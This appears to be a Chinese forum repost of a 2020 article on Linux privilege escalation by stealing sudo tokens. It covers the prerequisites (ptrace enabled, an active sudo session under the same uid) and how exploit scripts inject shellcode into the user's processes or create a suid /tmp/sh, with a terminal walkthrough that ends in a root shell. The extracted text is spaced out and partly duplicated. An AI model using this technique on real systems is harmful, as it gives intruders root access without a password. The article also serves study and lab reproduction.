搜索

[18101] 2020-07-25_两种利用sudotoken实现提权的技巧

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-07-25_两种利用sudotoken实现提权的技巧 两 种 利 用 s u d o   t o k e n 实 现 提 权 的 技 巧 A l p h a _ h 4 c k ​   H A C K 之 道   2 0 2 0 - 0 7 - 2 5 技 术 介 绍 技 术 介 绍 我 们 在 进 行 技 术 研 究 的 过 程 中 ， 发 现 有 些 时 候 我 们 在 进 行 技 术 研 究 的 过 程 中 ， 发 现 有 些 时 候 s u d o 并 不 会 要 求 我 们 输 入 密 码 ， 因 为 它 并 不 会 要 求 我 们 输 入 密 码 ， 因 为 它 “ 记 得 记 得 ” 我 们 。 那 么 它 为 什 么 会 我 们 。 那 么 它 为 什 么 会 “ 记 得 记 得 ” 我 们 呢 ？ 它 怎 么 识 别 我 们 的 身 份 呢 ？ 我 们 能 伪 造 我 们 呢 ？ 它 怎 么 识 别 我 们 的 身 份 呢 ？ 我 们 能 伪 造 自 己 的 身 份 并 拿 到 自 己 的 身 份 并 拿 到 r o o t 权 限 吗 ？ 权 限 吗 ？ 实 际 上 ， s u d o 会 在 / v a r / r u n / s u d o / t s / [ u s e r n a m e ] 目 录 中 为 每 一 位 L i n u x 用 户 创 建 一 个 单 独 的 文 件 ， 这 种 文 件 中 包 含 了 身 份 认 证 成 功 与 失 败 的 相 关 信 息 。 接 下 来 ， s u d o 会 使 用 这 些 文 件 来 记 录 所 有 的 身 份 认 证 过 程 。 如 何 利 用 系 统 中 的 漏 洞 ？ 如 何 利 用 系 统 中 的 漏 洞 ？ 实 现 要 求 实 现 要 求 1 、   完 全 启 用 P t r a c e （ / p r o c / s y s / k e r n e l / y a m a / p t r a c e _ s c o p e   = =   0 ） ； 2 、   当 前 用 户 必 须 开 启 一 个 拥 有 有 效 s u d o 令 牌 并 且 相 同 u i d 的 活 动 进 程 ； 注 ： 默 认 密 码 的 超 时 时 间 为 1 5 分 钟 ， 如 果 你 在 1 5 分 钟 内 使 用 s u d o 两 次 ， 系 统 就 不 会 要 求 你 再 输 入 用 户 的 s u d o 密 码 了 。 工 作 机 制 工 作 机 制 项 目 目 录 中 的 E x p l o i t . s h 会 向 当 前 用 户 的 所 有 进 程 注 入 S h e l l 代 码 ， 并 使 用 它 们 的 s u d o 令 牌 来 验 证 我 们 自 己 的 s u d o 口 令 。 仅 需 三 行 S h e l l 代 码 ， 一 切 皆 有 可 能 。 使 用 样 例 使 用 样 例 假 设 ， 你 拿 到 了 一 个 R C E ， 而 且 没 有 用 户 密 码 ， 但 目 标 用 户 使 用 了 s u d o ， 那 么 你 就 可 以 通 过 窃 取 他 的 s u d o 令 牌 来 实 现 提 权 啦 ！ 如 何 在 实 验 环 境 中 模 拟 ？ 打 开 两 个 终 端 窗 口 ： 1 、   其 中 一 个 执 行 s u d o 命 令 ， 然 后 输 入 正 确 的 用 户 密 （ s u d o   l s ） ； 2 、   另 一 个 按 照 上 述 方 法 执 行 漏 洞 利 用 代 码 ； 使 用 使 用 e x p l o i t _ v 2 . s h 在 在 / t m p / s h 中 创 建 一 个 中 创 建 一 个 s u i d   s h 如 果 e x p l o i t _ v 1 无 法 成 功 的 话 ， 大 家 可 以 尝 试 一 下 e x p l o i t _ v 2 . s h ： $ s u d o   w h a t e v e r   [ s u d o ] p a s s w o r d   f o r   u s e r :         #   P r e s s < c t r l > + c   s i n c e   y o u   d o n ' t   h a v e   t h e   p a s s w o r d .   #   T h i s   c r e a t e s   a n   i n v a l i d s u d o   t o k e n s . $   s h   e x p l o i t . s h . . . . w a i t   1   s e c o n d s $ s u d o   - i   #   n o   p a s s w o r d   r e q u i r e d #   i d u i d = 0 ( r o o t ) g i d = 0 ( r o o t )   g r o u p s = 0 ( r o o t ) # e c h o   0   >   / p r o c / s y s / k e r n e l / y a m a / p t r a c e _ s c o p e #   # D o n ' t   w o r r y   t h i s   i s   n o t   p e r s i s t e n t   a c c r o s s   r e b o o t
参 考 链 接 h t t p s : / / w w w . r e d h a t . c o m / a r c h i v e s / a x p - l i s t / 2 0 0 1 - J a n u a r y / m s g 0 0 3 5 5 . h t m l h t t p s : / / w w w . s u d o . w s / m a n / 1 . 8 . 2 5 / s u d o e r s _ t i m e s t a m p . m a n . h t m l h t t p s : / / b l o g . g d s s e c u r i t y . c o m / l a b s / 2 0 1 7 / 9 / 5 / l i n u x - b a s e d - i n t e r - p r o c e s s - c o d e - i n j e c t i o n - w i t h o u t - p t r a c e 2 . h t m l h t t p s : / / b l o g . h a b e t s . s e / 2 0 0 9 / 0 3 / M o v i n g - a - p r o c e s s - t o - a n o t h e r - t e r m i n a l . h t m l h t t p s : / / w w w . l i n u s a k e s s o n . n e t / p r o g r a m m i n g / t t y / 本 文 作 者 为 ： A l p h a _ h 4 c k 阅 读 原 文 $ . / e x p l o i t _ v 2 . s h C u r r e n t p r o c e s s   :   2 4 4 1 c h m o d : c h a n g i n g   p e r m i s s i o n s   o f   ' a c t i v a t e _ s u d o _ t o k e n ' :   O p e r a t i o n   n o t   p e r m i t t e d I n j e c t i n g p r o c e s s   1 7 2 1   - >   b a s h I n j e c t i n g p r o c e s s   2 4 3 3   - >   b a s h c a t : / p r o c / 2 4 4 6 / c o m m :   N o   s u c h   f i l e   o r   d i r e c t o r y I n j e c t i n g p r o c e s s   2 4 4 6   - > $ / t m p / s h   - p #   i d u i d = 1 0 0 1 ( t e s t ) g i d = 1 0 0 1 ( t e s t )   e u i d = 0 ( r o o t )   e g i d = 0 ( r o o t )   g r o u p s = 0 ( r o o t ) , 1 0 0 1 ( t e s t )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理